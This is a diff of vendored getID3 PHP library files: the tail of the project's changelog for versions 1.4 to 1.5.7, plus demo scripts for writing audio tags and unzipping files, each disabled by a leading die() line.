enabled for a directory with a click. md5_file is - always calculated when displaying detailed info about a single - file; md5_data is calculated if the file is < 50MB - Modified getid3.check.php to show errors and warnings. Details are - visible with a mouseover or a click. - Changed getid3.check.php to use SafeStripSlashes instead of a - manual conditional directory name replacement for special - characters - Added sample recursive scanning sample code to getid3.readme.txt - (thanks lipisinØmail*ru for the idea) - - -1.5.7: [January-10-2003] James Heinrich - » Added support for ISO 9660 (CD-ROM image) format. Most-useful - data is directory structure returned under ['iso']['files'] - Note: Only ISO-9660 supported, not (yet) Joliet extension - (thanks nebula_djØsofthome*net for the idea) - New file: getid3.iso.php - ¤ ZIP files are now parsed by getID3() itself without relying on - built-in PHP functions and/or ZZipLib support. - (thanks Vince for the idea) - ¤ ZIP files now return a simple directory listing with filename - and filesize info only under ['zip']['files']. - Note: empty subdirectories will note appear in here, only files - and non-empty subdirectories. Information for all entries, - including empty subdirectories, is available under - ['zip']['central_directory'] (or under ['zip']['entries'] if the - Central Directory cannot be located (usually due to a trucated - file). - ¤ RIFF-WAV files with MP3 data (or MP3s with RIFF headers, if you - want to think of it that way) now have the MPEG audio portion - scanned and the usual data returned in ['mpeg']['audio'] if the - RIFF audio codec has wFormatTag of "85" (identified by getID3() - as "MPEG Layer 3") - (thanks ahØartemis*dk for the idea) - ¤ EXIF data (if present) is returned for JPEG files under - ['jpg']['exif'] (thanks nebula_djØsofthome*net) - ¤ ['filepath'] now returned for all files with the directory part - of the full filename. - ¤ ['filenamepath'] is now returned for all files (equivalent to - ['filepath'].'/'.['filename']) - * Bugfix: ['id3']['id3v2'][]['dataoffset'] was wrong - * Bugfix: MP3s tagged with iTunes have an invalid comment field - frame name ('COM ' - should be 'COMM') but the data is valid - otherwise; the frame is now renamed to 'COMM' and parsed - normally (with the error noted in ['error']) - (thanks kheller2Ømac*com for the sample file) - * Bugfix: Some ASF/WMA audio files were not being identified as - any format (thanks ahØartemis*dk) - * Bugfix: Warning now generated and ASCII format assumed for - invalid text encoding values in ID3v2 - * Bugfix: Changed ZIP detection pattern from 'PK' to 'PK\x04\x03' - * Bugfix: Ogg/FLAC files with large Vorbis comments were dying in - an infinite loop with lots of error messages due to missing $fd - parameter on ParseVorbisComments() (thanks ahØartemis*dk) - * Bugfix: ['data'] and ['image_mime'] were being returned for all - Ogg comments even if they were not images for versions of PHP - that have image_type_to_mime_type() built in (ie PHP 4.3.0+) - - -1.5.6: [December-31-2002] James Heinrich - » Added support for NSV (Nullsoft Streaming Video) - (www.nullsoft.com/nsv/) - (thanks demonØsoundplanet*com for the idea) - New file: getid3.nsv.php - » Added support for CD-audio track files (track01.cda etc) - ¤ Added standard ['frame_rate'] root value when known (AVI, NSV, - MPEG-video) - ¤ ASF files now report ['fileformat'] of: - 'wmv' when Windows Media Video codec v7/v8/v9 is used; - 'wma' when any 'Windows Media Audio' named audio codec is used - and no video stream is present; - 'asf' in all other cases (audio-only, video-only, or both) - ¤ Removed support for ZIP functions (will be rewritten to not - require ZZIPlib support in future versions) - ¤ Added function SafeStripSlashes() as a drop-in replacement for - stripslashes(), but that only strips slashes if magic_quotes_gpc - is set - ¤ Removed support for remote file scanning (HTTP / FTP) - ¤ Added ['aac']['frames'] (number of AAC frames in file) - ¤ Added ['mpeg']['audio']['frame_count'] when a bitrate histogram - is created - ¤ Average bitrate for VBR MP3/MP2 is calculated from actual counts - of frames of various bitrates (rather than relying on the header - values or filesize) when a bitrate histogram is created - ¤ RecursiveFrameScanning() split out into seperate function - (getid3.mp3.php) - ¤ Removed old function getMP3header() from getid3.mp3.php - ¤ Changed default MPEG_VALID_CHECK_FRAMES (number of mp3 frames - scanned to ensure a valid audio sequence has been located) from - 10 to 25. This means scanning will be slightly slower, but more - reliable/accurate - * Bugfix: ID3v2.2 - valid frame names not correctly detected - (thanks maeckerØweb*de for the sample file) - * Bugfix: ID3v2.2 - valid padding not correctly detected - (thanks maeckerØweb*de for the sample file) - * Bugfix: MIDI files with flat key signatures were not being - correctly reported (thanks alexleeisØshaw*ca for sample file) - * Bugfix: now returns message in ['error'] if file does not exist - * Bugfix: ['RIFF']['video'][x]['codec'] wasn't always being - correctly populated - * Bugfix: ['bitrate'] was incorrect for multi-stream RealMedia - * Bugfix: ['playtime_seconds'] was sometimes null or incorrect - for multi-stream RealMedia - * Bugfix: ChannelTypeID was incorrect in RVA2 ID3v2.4 frames - * Bugfix: Fixed potential divide-by-zero error for corrupt FLAC - files (thanks ahØartemis*dk) - * Bugfix: AAC-ADTS was not returning ['bitrate_mode'] unless - $ReturnExtendedInfo was TRUE (thanks ahØartemis*dk) - * Bugfix: LAME-encoded CBR MP3s now properly identified as CBR - with correct bitrate (thanks ahØartemis*dk) - * Bugfix: VBR MP2 (or headerless MP3) is now identified as VBR - rather than CBR. Note: to obtain VBR bitrate for headerless - files, the entire file is scanned and a histogram distribution - of bitrates is created, and the average bitrate calculated from - that. (thanks ahØartemis*dk for sample file) - Added support for DSIZ chunks in VQF, and checks to make sure size - of audio data matches DSIZ value, if present - (thanks ahØartemis*dk for sample file) - Rewrote GetAllMP3info() - removed some unneccesary code, changed - format-detection routine from ParseAsThisFormat() to - GetFileFormat() to allow for more flexible format parsing - (needed for ISO CD-ROM images, helpful for Quicktime and others) - Changed references in all files from string-cast indexes: ["$i"] - to non-cast indexes: [$i] where appropriate - Put a sans-serif 9pt style on all text in getid3.check.php - getAACADTSheaderFilepointer() now return TRUE if synch is lost - after the first frame has been successfully parsed (previously - it would return FALSE if synch was lost at any time, meaning the - file is most likely MP3, which was incorrect) - (thanks ahØartemis*dk for sample file) - Speed improvement code changes to getid3.mp3.php (up to 24% faster - in some cases) (thanks ahØartemis*dk for the code) - Changed all include_once() to require_once() - - -1.5.5: [November-25-2002] James Heinrich - » Added support for La (Lossless Audio - www.lossless-audio.com) - (thanks ahØartemis*dk for the idea) - New file: getid3.la.php - ¤ Moved lookup functions from getid3.lookup.php to the files where - they are used. - New file: getid3.id3.php - New file: getid3.rgad.php - Removed file: getid3.lookup.php - ¤ getID3v1Filepointer() returns FALSE if ID3v1 tag not found - ¤ Added new paramter "ReturnExtendedInfo" to the function - getAACADTSheaderFilepointer() in getid3.aac.php which now - defaults to FALSE - if TRUE then the data for every frame is - returned (containing aac_frame_length, adts_buffer_fullness and - num_raw_data_blocks, which aren't usually very useful). Speed - improvement with FALSE is about 35%. - ¤ Now returns fopen() errors in ['error'], for example if a remote - file is not accessible. - ¤ Changed default number of MP3 audio frames to scan to determine - if a valid stream has been found from 5 to 10, now also defined - as a constant at the top of getid3.mp3.php This will result in - slightly slower MP3 parsing, but greater reliability in - detecting false/invalid/corrupted VBR headers. - ¤ fopen() errors now displayed in getid3.putid3.php - (thanks miguel.dieckmannØhamburg*de) - ¤ Added 4th parameter to decodeMPEGaudioHeader() $ScanAsCBR which - will force an MP3 audio frame sequence to be force-scanned in - CBR mode. You should never need to call this directly, it's only - used internally to scan for MP3 files that have an illegal VBR - header with CBR data. (thanks fletchØpobox*com) - * Bugfix: ASF_Marker_Object in getid3.asf.php was always returning - an error in non-existant "reserved_1" and failing - * Bugfix: VBR bitrate calculations in getid3.mp3.php only occur if - ['mpeg']['audio']['VBR_frames'] is defined. - (thanks fletchØpobox*com) - * Bugfix: getid3.putid3.php no longer deletes original MP3 if - ID3v2 tag writing fails (thanks miguel*dieckmannØhamburg*de) - * Bugfix: incorrect order of if-statement error messages in - getid3.putid3.php (thanks miguel*dieckmannØhamburg*de) - getid3.asf.php now notes the error and continues parsing rather - than failing when it encounters an error parsing a chunk - Now actually scan 1000 frames for AAC ADTS as reported in the - v1.5.4 changelog, rather than 100. (thanks ahØartemis*dk) - Improved scanning speed in getAACADTSheaderFilepointer() by ~30% - (thanks ahØartemis*dk for the fix) - Added FileSizeNiceDisplay() function to getid3.functions.php for - formatting filesize output in kB, MB, GB, etc. - - -1.5.4: [October-07-2002] James Heinrich - » Added support for Quicktime. - New file: getid3.quicktime.php - » Added support for AAC files, both ADTS and ADIF header formats. - ADIF format is a pain because it's very similar to standard MP3 - header format, and it's hard to distinguish between the two. I - have tried to make the detection accurate, but I have a limited - number of AAC test files to play with so if you have an AAC file - that gets detected as MP3/MP2 (or vice-versa), please send me - the details via email at infoØgetid3Øorg - ADTS format is very slow to parse because to get the bitrate of - VBR files the whole file has to be stepped through frame by - frame (getID3() scans up to the first 1000 frames and assumes - that to be close enough). - Note: I would suggest commenting out support for AAC (see top of - GetAllMP3info() function in getid3.php) unless you need it. - (thanks jfaulØgmx*de for the idea and sample Delphi source code) - New file: getid3.aac.php - » Added bitrate distribution analysis option for MP3 VBR files. A - new boolean parameter for getOnlyMPEGaudioInfo() enabled this - feature which steps through the MP3 file frame by frame and - counts how many frames of each bitrate exist. This information - is returned in ['mpeg']['audio']['bitrate_distribution'] - Caution: this feature is very inefficient for large files and - takes a very long time and does lots of disk I/O. Use with care. - ¤ Changed layout of allowedFormats in GetAllMP3info() function in - getid3.php to allow easy removal of support for any of the - supported format. As stated above, I recommend commenting out - AAC unless needed. - ¤ Added ['flac']['compressed_audio_bytes'], - ['flac']['uncompressed_audio_bytes'], and - ['flac']['compression_ratio'] - ¤ Replaced FXPT2DOT30toFloat() function with FixedPoint2_30() - * Bugfix: getid3.mpc.php was slightly miscalculating the number of - samples, therefore also bitrate and playtime - (thanks ahØartemis*dk for the fix) - * Bugfix: MonkeyCompressionLevelNameLookup() didn't know about - 'insane' compression (thanks ahØartemis*dk for the fix) - * Bugfix: MonkeySamplesPerFrame() was incorrect for MAC v3.95+ - (thanks ahØartemis*dk for the fix) - * Bugfix: getid3.check.php wasn't processing the assumeFormat - directive when (register_globals == off) - * Bugfix: detecting of synch pattern for MP3 files with invalid - data at the beginning wasn't always correct, also meant possible - incorrect bitrate/duration/etc info for such corrupt files. - getid3.functions.php now includes a replacement utf8_decode() - function for those PHP installations that are not configured - with the --with-xml option. (thanks stephaneØtekartists*com) - - -1.5.3: [September-30-2002] James Heinrich - » Added support for VQF. (thanks mtØmansonthomas*com for the idea) - New file: getid3.vqf.php - » Added support for FLAC. Comments, if present, are returned under - ['ogg'] because they follow the Ogg Vorbis structure standard. - New file: getid3.flac.php - ¤ OS/2-format bitmaps are now correctly interpreted. The format of - the bitmap is now returned in ['bmp']['type_os'] and - ['bmp']['type_version']. OS/2 bitmaps can be v1 or v2, Windows - can be v1, v4 or v5 - - -1.5.2: [September-25-2002] James Heinrich - » Support for RealMedia (audio & video) added - Note: only tested on G2 and v5 audio and video files - if anyone - has older and/or newer sample files, please test it and/or send - me the sample files. - (thanks stephaneØtekartists*com for idea) - New file: getid3.real.php - » Support for BMP added. Palette and pixel data can optionally be - extracted as well - this is slow and generally unneccesary, but - the option is there if you need it. Also includes PlotBMP() - which will take the extracted pixel data and output it as a true - color PNG. This function requires GD v2.0+ - Note: Untested on 16-bit and 32-bit BMPs because I couldn't find - any sample files - if you know of a program that can create such - files, please email infoØgetid3Øorg - Note: Support for RGB (uncompressed), RLE8 and RLE4 is included - and tested. BITFIELDS support is also included for 16- & 32-bit - formats, but it's untested, so if anybody has any test files - please send them to infoØgetid3Øorg - Note: Support currently only for Windows-format BMPs, and trying - to parse an OS/2-format bitmap leads to unpredictable/invalid - results. - New file: getid3.bmp.php - » PNG now fully parsed, including all information chunks - New file: getid3.png.php - ¤ Support for GIF/JPG/PNG moved to seperate files and expanded, - including standard ['resolution_x'] and ['resolution_y'] as well - as more thorough parsing of header information - New file: getid3.gif.php - New file: getid3.jpg.php - table_var_dump() simplified and now outputs {-style character - entities for characters outside the normal alphanumeric range - CleanOggCommentName() changed to a regular expression - (thanks chris-getid3Øbolt*cx for rewriting the function) - - -1.5.1: [September-20-2002] James Heinrich - » Added support for MPEGplus/Musepack SV7. ['fileformat'] is 'SV7' - for version 7 files (versions 4, 5 ,6 and 8 are not supported - yet, but will be of ['fileformat'] SV4, SV5, SV6 and SV8) when - they are supported (thanks Christian Fritz for the idea) - New file: getid3.mpc.php - ¤ ['bitrate_audio'], ['bitrate_video'], ['bitrate_mode'], - ['channels'], ['resolution_x'], and ['resolution_y'] keys added - for all appropriate formats - ¤ Ogg files with a COVERART comment now save and display the - attached image the same way as is done with ID3v2 APICs - ¤ ['ogg']['comments'][n]['data'] and - ['ogg']['comments'][n]['dataoffset'] is now returned for all - comments. ['ogg']['comments'][n]['data'] is only useful if - the field is supposed to contain binary data. It is a - base64_decode()'d version of ['value']. - ['ogg']['comments'][n]['dataoffset'] is the byte offset in the - file at which the 'COMMENTNAME=value string' starts, not the - start of just 'value' - ¤ ['ogg']['comments'][n]['image_mime'] is now returned if - ['ogg']['comments'][n]['data'] contains valid image data. - ¤ More than 3 Ogg pages may now be read in, if the comment data - is longer than 1 page (usually about 4kB) - ¤ ['fileformat'] is now 'mp2' rather than 'mp3' if it's MPEG-1, - Layer-II audio - ¤ ASF bitrates now calculated even if stream_bitrate_properties - object not present - ¤ ['asf']['stream_properties_object'] is now a numeric-key array - with one entry for each stream - the key being the stream number - ¤ ['replay_gain'] is returned for all audio formats that support - it (MP3-LAME, ID3v2, Ogg) (thanks Christian Fritz for the idea) - ¤ ['mpeg']['audio']['LAME']['RGAD']['radio_replay_gain'] is now - ['mpeg']['audio']['LAME']['RGAD']['radio'] (same for audiophile) - ¤ ASF/WMA files now use WM/Track to get track number from if - WM/TrackNumber is not available (thanks stephaneØtekartists*com) - ¤ ASF/WMV files now returns ['year'] and ['asf']['year'] - ¤ ASV/WMV files now use ['content_description']['description'] for - the ['comment'] field (thanks stephaneØtekartists*com) - ¤ ['track'] is now always returned as an integer - * Bugfix: Ogg comments that are larger than one data page (usually - about 4kB) are now correctly parsed (thanks Christian Fritz) - * Bugfix: Ogg comment data is now UTF8-decoded - * Bugfix: Ogg comment writing now UTF8-encodes the data - * Bugfix: playtime for ASF files was off by (usually - between 3 and 12 seconds) - * Bugfix: ['asf']['stream_properties_objects']['flags'] data was - possibly incorrect - * Bugfix: ASF Padding Object was overwriting - Stream Bitrate Properties Object data (now returned correctly in - ['asf']['padding_object'] - * Bugfix: ASF Marker Object Reserved_2 field was incorrect - * Bugfix: ASF Bitrate Mutual Exclusion Object had incorrect stream - numbers - Warning displayed if incorrectly-formatted Ogg comment is present - (known to be an issue with CDex v1.40, but fixed by v1.50b7) - (thanks Christian Fritz) - Ogg comment writing now checks for valid comment names - Added bitrate column in getid3.check.php, and added some formatting - (font, colour) - Performance tweaks using bitwise math instead of binary string - operations - - -1.5.0: [September-18-2002] James Heinrich - » Ogg comment writing support added. getid3.write.php has been - updated to allow for writing comment tags to both MP3 and Ogg. - Big thanks to Chris Bolt for writing the - OggWrite() function and offering it for inclusion in getID3() - New file: getid3.ogginfo.php - » Support for Monkey's Audio and APE tag added. - (thanks Christian Fritz for the idea) - New file: getid3.ape.php - ['fileformat'] now returns 'mac' for Monkey's Audio files, or - 'ape' for files with an APE tag (Monkey's Audio or other format) - » getid3.thumbnail.php has been removed from the distribution and - the table_var_dump() function now outputs APICs as seperate - files in the same directory as the analyzed file. This should - make the image-displaying more reliable as well as reduce - complexity. The naming convention for the images is - filename.ext.[byte offset of APIC data].[jpg|gif|png] - If anybody still has any problems with corrupted images please - let me know at infoØgetid3Øorg - » Support for extended Xing/LAME tag - (see http://users.belgacom.net/gc247244/extra/tag.html) - Data is returned in ['mpeg']['audio']['LAME'] - ¤ ['ogg']['tracknumber'] has been renamed to ['ogg']['track'] and - ['track'] is now returned in the root of the array - ¤ ['ogg']['pageheader'][n]['flag'] has been renamed to - ['ogg']['pageheader'][n]['flags'] and the unprocessed flag byte - is available in ['ogg']['pageheader'][n]['flags_raw'] - ¤ ['frequency'] is now returned for WAVE files in the root of the - array (thanks danielØelectroteque*org) - ¤ ASF files now return codec, bitrate, resolution, etc information - under ['asf']['video_media'] or ['asf']['audio_media'] - * Bugfix: RVA2 and EQU2 writing in getid3.putid3.php were - incorrectly writing Volume Adjustment field - * Bugfix: EQU2 in getid3.frames.php was reading Volume Adjustment - as unsigned integer instead of signed integer - * Bugfix: handling of remote files over HTTP & FTP was broken - (thanks Vince) - * Bugfix: incorrect handling of some ASF packets - ASF/Windows Media format now more fully parsed, including Index - Objects - Added several new fourCC video codecs - - -1.4.3: [September-15-2002] James Heinrich - » Now parses ASF / WMV / WMA files - ¤ New file: getid3.asf.php - * Bugfix: RoughTranslateUnicodeToASCII() would return nothing - if didn't find a terminator it was expecting - Added FILETIMEtoUNIXtime() function (for converting 64-bit - Microsoft FILETIME timestamps, used in ASF files and elsewhere, - to UNIX Epoch timestamps) - Added GUIDtoBytestring() and BytestringToGUID() functions - - -1.4.2: [September-12-2002] James Heinrich - » getID3() now requires PHP v4.1.0 or higher because it now is - designed to work with register_globals = off and the new auto- - globals ($_GET, $_SERVER, etc). - * Bugfix: VBR MP3 files with Fraunhofer-style VBR header were not - being correctly detected in most cases - (thanks dkushnerØoddcast*com and mikeØftl*com for sample files) - * Bugfix: IsValidTextEncoding() was broken - * Bugfix: Add stripslashes($EditorFilename) to getid3.write.php - (writing was broken for files with ' or " in the filename) - (thanks mikeØftl*com and kthejoker) - * Bugfix: If there is garbage data between a valid VBR header - frame and a sequence of valid MPEG-audio frames the VBR data is - no longer discarded. (thanks to mikeØftl*com for sample - Fraunhofer-style VBR file produced with MusicMatch v7.2) - ¤ Changed variable system to work with (register_globals = off) - ¤ Moved relevant code into seperate PlaytimeString() function - ¤ Added nl2br() to table_var_dump() for cleaner output - ¤ Now returns the following keys from Fraunhofer-VBR files: - ['VBR_seek_offsets'], ['VBR_seek_offsets_stride'], - ['VBR_offsets_relative'] and ['VBR_offsets_absolute'] - ¤ Added ID3v1matchesID3v2() function and implemented in - getid3.check.php (thanks to "Guest" in the forums for the idea) - Changed amount of data read in getid3.getimagesize.php from 10kB - to entire file. (thanks mikeØftl*com) - Wrapped function_exists() checks around function definitions in - getid3.functions.php - Fixed a lot of E_WARNING and E_NOTICE situations, especially in - ID3-writing code (getid3.putid3.php, etc) - Added checks to make sure all needed data is available for writing - ID3v2 tags - - -1.4.1b5: [May-30-2002] James Heinrich - * Bugfix: Unsynchronise() was broken, now fixed - (thanks mikeØftl*com) - * Bugfix: GenerateID3v2Tag() now correctly uses non-synchsafe - integers for frame size descriptors in ID3v2.3 and ID3v2.2 - (thanks mikeØftl*com) - ¤ Added ['artist'], ['title'], etc keys to root of returned - array to provide a common place to access any returned info - from any file type. Currently gets info from ID3v1, ID3v2, - Ogg, and RIFF/WAVE. Possible returned keys are: - title, artist, album, year, genre, comment, track - ¤ Modified LookupGenre() function to search for either genre based - on numeric ID, or now reverse lookup as well - ¤ Added ['artist'], ['title'], etc keys to ['RIFF'] information - if info tags are present - Added functionality to attach a picture to the ID3v2 tag in - getid3.write.php - Sorted genres into alphabetical order (special 3 at end of list) - in getid3.write.php - Changed the comment-edit field in getid3.write.php to a multi-line - '; - - echo 'Picture
                                (ID3v2 only)
                                '; - echo ''; - echo ' '; - echo ''; - - } else { - - echo 'Error'.htmlentities($Filename).' does not exist'; - - } - echo ''; - echo ''; - -} - -echo ''; + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// // +// /demo/demo.write.php - part of getID3() // +// sample script for demonstrating writing ID3v1 and ID3v2 // +// tags for MP3, or Ogg comment tags for Ogg Vorbis // +// see readme.txt for more details // +// /// +///////////////////////////////////////////////////////////////// + +die('For security reasons, this demo has been disabled. It can be enabled by removing line '.__LINE__.' in demos/'.basename(__FILE__)); + + +$TaggingFormat = 'UTF-8'; + +header('Content-Type: text/html; charset='.$TaggingFormat); +echo ''; +echo 'getID3() - Sample tag writer'; + +require_once('../getid3/getid3.php'); +// Initialize getID3 engine +$getID3 = new getID3; +$getID3->setOption(array('encoding'=>$TaggingFormat)); + +getid3_lib::IncludeDependency(GETID3_INCLUDEPATH.'write.php', __FILE__, true); + +$browsescriptfilename = 'demo.browse.php'; + +$Filename = (isset($_REQUEST['Filename']) ? $_REQUEST['Filename'] : ''); + + + +if (isset($_POST['WriteTags'])) { + + $TagFormatsToWrite = (isset($_POST['TagFormatsToWrite']) ? $_POST['TagFormatsToWrite'] : array()); + if (!empty($TagFormatsToWrite)) { + echo 'starting to write tag(s)
                                '; + + $tagwriter = new getid3_writetags; + $tagwriter->filename = $Filename; + $tagwriter->tagformats = $TagFormatsToWrite; + $tagwriter->overwrite_tags = false; + $tagwriter->tag_encoding = $TaggingFormat; + if (!empty($_POST['remove_other_tags'])) { + $tagwriter->remove_other_tags = true; + } + + $commonkeysarray = array('Title', 'Artist', 'Album', 'Year', 'Comment'); + foreach ($commonkeysarray as $key) { + if (!empty($_POST[$key])) { + $TagData[strtolower($key)][] = $_POST[$key]; + } + } + if (!empty($_POST['Genre'])) { + $TagData['genre'][] = $_POST['Genre']; + } + if (!empty($_POST['GenreOther'])) { + $TagData['genre'][] = $_POST['GenreOther']; + } + if (!empty($_POST['Track'])) { + $TagData['track_number'][] = $_POST['Track'].(!empty($_POST['TracksTotal']) ? '/'.$_POST['TracksTotal'] : ''); + } + + if (!empty($_FILES['userfile']['tmp_name'])) { + if (in_array('id3v2.4', $tagwriter->tagformats) || in_array('id3v2.3', $tagwriter->tagformats) || in_array('id3v2.2', $tagwriter->tagformats)) { + if (is_uploaded_file($_FILES['userfile']['tmp_name'])) { + if ($APICdata = file_get_contents($_FILES['userfile']['tmp_name'])) { + + if ($exif_imagetype = exif_imagetype($_FILES['userfile']['tmp_name'])) { + + $TagData['attached_picture'][0]['data'] = $APICdata; + $TagData['attached_picture'][0]['picturetypeid'] = $_POST['APICpictureType']; + $TagData['attached_picture'][0]['description'] = $_FILES['userfile']['name']; + $TagData['attached_picture'][0]['mime'] = image_type_to_mime_type($exif_imagetype); + + } else { + echo 'invalid image format (only GIF, JPEG, PNG)
                                '; + } + } else { + echo 'cannot open '.htmlentities($_FILES['userfile']['tmp_name']).'
                                '; + } + } else { + echo '!is_uploaded_file('.htmlentities($_FILES['userfile']['tmp_name']).')
                                '; + } + } else { + echo 'WARNING: Can only embed images for ID3v2
                                '; + } + } + + $tagwriter->tag_data = $TagData; + if ($tagwriter->WriteTags()) { + echo 'Successfully wrote tags
                                '; + if (!empty($tagwriter->warnings)) { + echo 'There were some warnings:
                                '.implode('

                                ', $tagwriter->warnings).'
                              '; + } + } else { + echo 'Failed to write tags!
                              '.implode('

                              ', $tagwriter->errors).'
                              '; + } + + } else { + + echo 'WARNING: no tag formats selected for writing - nothing written'; + + } + echo '
                              '; + +} + + +echo '
                              Sample tag editor/writer
                              '; +echo 'Browse current directory
                              '; +if (!empty($Filename)) { + echo 'Start Over

                              '; + echo '
                              '; + echo ''; + echo ''; + if (file_exists($Filename)) { + + // Initialize getID3 engine + $getID3 = new getID3; + $OldThisFileInfo = $getID3->analyze($Filename); + getid3_lib::CopyTagsToComments($OldThisFileInfo); + + switch ($OldThisFileInfo['fileformat']) { + case 'mp3': + case 'mp2': + case 'mp1': + $ValidTagTypes = array('id3v1', 'id3v2.3', 'ape'); + break; + + case 'mpc': + $ValidTagTypes = array('ape'); + break; + + case 'ogg': + if (!empty($OldThisFileInfo['audio']['dataformat']) && ($OldThisFileInfo['audio']['dataformat'] == 'flac')) { + //$ValidTagTypes = array('metaflac'); + // metaflac doesn't (yet) work with OggFLAC files + $ValidTagTypes = array(); + } else { + $ValidTagTypes = array('vorbiscomment'); + } + break; + + case 'flac': + $ValidTagTypes = array('metaflac'); + break; + + case 'real': + $ValidTagTypes = array('real'); + break; + + default: + $ValidTagTypes = array(); + break; + } + echo ''; + echo ''; + echo ''; + echo ''; + + $TracksTotal = ''; + $TrackNumber = ''; + if (!empty($OldThisFileInfo['comments']['track_number']) && is_array($OldThisFileInfo['comments']['track_number'])) { + $RawTrackNumberArray = $OldThisFileInfo['comments']['track_number']; + } elseif (!empty($OldThisFileInfo['comments']['track_number']) && is_array($OldThisFileInfo['comments']['track_number'])) { + $RawTrackNumberArray = $OldThisFileInfo['comments']['track_number']; + } else { + $RawTrackNumberArray = array(); + } + foreach ($RawTrackNumberArray as $key => $value) { + if (strlen($value) > strlen($TrackNumber)) { + // ID3v1 may store track as "3" but ID3v2/APE would store as "03/16" + $TrackNumber = $value; + } + } + if (strstr($TrackNumber, '/')) { + list($TrackNumber, $TracksTotal) = explode('/', $TrackNumber); + } + echo ''; + + $ArrayOfGenresTemp = getid3_id3v1::ArrayOfGenres(); // get the array of genres + foreach ($ArrayOfGenresTemp as $key => $value) { // change keys to match displayed value + $ArrayOfGenres[$value] = $value; + } + unset($ArrayOfGenresTemp); // remove temporary array + unset($ArrayOfGenres['Cover']); // take off these special cases + unset($ArrayOfGenres['Remix']); + unset($ArrayOfGenres['Unknown']); + $ArrayOfGenres[''] = '- Unknown -'; // Add special cases back in with renamed key/value + $ArrayOfGenres['Cover'] = '-Cover-'; + $ArrayOfGenres['Remix'] = '-Remix-'; + asort($ArrayOfGenres); // sort into alphabetical order + echo ''; + + echo ''; + + echo ''; + + echo ''; + echo ''; + + } else { + + echo ''; + + } + echo '
                              Filename:'.$Filename.'
                              Title
                              Artist
                              Album
                              Year
                              Track of
                              Genre
                              Write Tags'; + foreach ($ValidTagTypes as $ValidTagType) { + echo ''.$ValidTagType.'
                              '; + } + if (count($ValidTagTypes) > 1) { + echo '
                              Remove non-selected tag formats when writing new tag
                              '; + } + echo '
                              Comment
                              Picture
                              (ID3v2 only)

                              '; + echo '
                              '; + echo '
                              Error'.htmlentities($Filename).' does not exist
                              '; + echo '
                              '; + +} + +echo ''; diff --git a/vendor/james-heinrich/getid3/demos/demo.zip.php b/vendor/james-heinrich/getid3/demos/demo.zip.php index 06d50b666f..204ce43d38 100644 --- a/vendor/james-heinrich/getid3/demos/demo.zip.php +++ b/vendor/james-heinrich/getid3/demos/demo.zip.php @@ -1,102 +1,102 @@ - // -// available at https://github.com/JamesHeinrich/getID3 // -// or https://www.getid3.org // -// or http://getid3.sourceforge.net // -// // -// /demo/demo.zip.php - part of getID3() // -// Sample script how to use getID3() to decompress zip files // -// see readme.txt for more details // -// /// -///////////////////////////////////////////////////////////////// - -die('For security reasons, this demo has been disabled. It can be enabled by removing line '.__LINE__.' in demos/'.basename(__FILE__)); - - -function UnzipFileContents($filename, &$errors) { - $errors = array(); - $DecompressedFileContents = array(); - if (!class_exists('getID3')) { - $errors[] = 'class getID3 not defined, please include getid3.php'; - } elseif (include_once('module.archive.zip.php')) { - $getid3 = new getID3(); - $getid3->info['filesize'] = filesize($filename); - ob_start(); - if ($getid3->fp = fopen($filename, 'rb')) { - ob_end_clean(); - $getid3_zip = new getid3_zip($getid3); - $getid3_zip->analyze(); - if (($getid3->info['fileformat'] == 'zip') && !empty($getid3->info['zip']['files'])) { - if (!empty($getid3->info['zip']['central_directory'])) { - $ZipDirectoryToWalk = $getid3->info['zip']['central_directory']; - } elseif (!empty($getid3->info['zip']['entries'])) { - $ZipDirectoryToWalk = $getid3->info['zip']['entries']; - } else { - $errors[] = 'failed to parse ZIP attachment "'.$filename.'" (no central directory)
                              '; - fclose($getid3->fp); - return false; - } - foreach ($ZipDirectoryToWalk as $key => $valuearray) { - fseek($getid3->fp, $valuearray['entry_offset'], SEEK_SET); - $LocalFileHeader = $getid3_zip->ZIPparseLocalFileHeader(); - if ($LocalFileHeader['flags']['encrypted']) { - // password-protected - $DecompressedFileContents[$valuearray['filename']] = ''; - } else { - fseek($getid3->fp, $LocalFileHeader['data_offset'], SEEK_SET); - $compressedFileData = ''; - while ((strlen($compressedFileData) < $LocalFileHeader['compressed_size']) && !feof($getid3->fp)) { - $compressedFileData .= fread($getid3->fp, 32768); - } - switch ($LocalFileHeader['raw']['compression_method']) { - case 0: // store - great, just copy data unchanged - $uncompressedFileData = $compressedFileData; - break; - - case 8: // deflate - ob_start(); - $uncompressedFileData = gzinflate($compressedFileData); - $gzinflate_errors = trim(strip_tags(ob_get_contents())); - ob_end_clean(); - if ($gzinflate_errors) { - $errors[] = 'gzinflate() failed for file ['.$LocalFileHeader['filename'].']: "'.$gzinflate_errors.'"'; - continue 2; - } - break; - - case 1: // shrink - case 2: // reduce-1 - case 3: // reduce-2 - case 4: // reduce-3 - case 5: // reduce-4 - case 6: // implode - case 7: // tokenize - case 9: // deflate64 - case 10: // PKWARE Date Compression Library Imploding - $DecompressedFileContents[$valuearray['filename']] = ''; - $errors[] = 'unsupported ZIP compression method ('.$LocalFileHeader['raw']['compression_method'].' = '.$getid3_zip->ZIPcompressionMethodLookup($LocalFileHeader['raw']['compression_method']).')'; - continue 2; - - default: - $DecompressedFileContents[$valuearray['filename']] = ''; - $errors[] = 'unknown ZIP compression method ('.$LocalFileHeader['raw']['compression_method'].')'; - continue 2; - } - $DecompressedFileContents[$valuearray['filename']] = $uncompressedFileData; - unset($compressedFileData); - } - } - } else { - $errors[] = $filename.' does not appear to be a zip file'; - } - } else { - $error_message = ob_get_contents(); - ob_end_clean(); - $errors[] = 'failed to fopen('.$filename.', rb): '.$error_message; - } - } else { - $errors[] = 'failed to include_once(module.archive.zip.php)'; - } - return $DecompressedFileContents; -} + // +// available at https://github.com/JamesHeinrich/getID3 // +// or https://www.getid3.org // +// or http://getid3.sourceforge.net // +// // +// /demo/demo.zip.php - part of getID3() // +// Sample script how to use getID3() to decompress zip files // +// see readme.txt for more details // +// /// +///////////////////////////////////////////////////////////////// + +die('For security reasons, this demo has been disabled. It can be enabled by removing line '.__LINE__.' in demos/'.basename(__FILE__)); + + +function UnzipFileContents($filename, &$errors) { + $errors = array(); + $DecompressedFileContents = array(); + if (!class_exists('getID3')) { + $errors[] = 'class getID3 not defined, please include getid3.php'; + } elseif (include_once('module.archive.zip.php')) { + $getid3 = new getID3(); + $getid3->info['filesize'] = filesize($filename); + ob_start(); + if ($getid3->fp = 